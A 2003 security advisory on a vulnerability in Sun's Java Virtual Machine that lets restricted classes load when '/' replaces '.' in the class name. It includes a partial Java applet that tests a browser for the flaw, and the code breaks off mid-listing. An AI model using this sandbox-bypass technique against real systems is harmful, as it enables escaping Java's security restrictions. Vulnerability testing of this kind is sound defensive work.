Security vulnerability in SUN's Java Virtual Machine Implementation (Test)
28 Oct. 2003
Summary
As we reported in our previous article Security Vulnerability in SUN's Java Virtual Machine Implementation ('/' Replaces '.'), a vulnerability exists in the way Sun has implemented its JVM. The vulnerability allows loading restricted classes by issuing a request for a class using the '/' delimiter instead of the '.' delimiter. The following is a test that can be conducted on your browser to verify whether you are vulnerable to this vulnerability or not.
The following applet tests for this vulnerability:
import java.applet.Applet;
import java.awt.Graphics;
import java.lang.Class;
import java.security.AccessControlException;
public class Simple extends Applet {
StringBuffer buffer;
public void init() {
buffer = new StringBuffer();
}
public void start() {
ClassLoader cl = this.getClass().getClassLoader();
try {
Class cla = cl.loadClass("sun/applet/AppletClassLoader"); // Note the slashes
addItem("No exception in loadClass. Vulnerable!");
} catch (ClassNotFoundException e) {
addItem("ClassNotFoundException in loadClass - " + e);
} catch (AccessControlException e) {
addItem("AccessControlException in loadClass - Not Vulnerable!");
}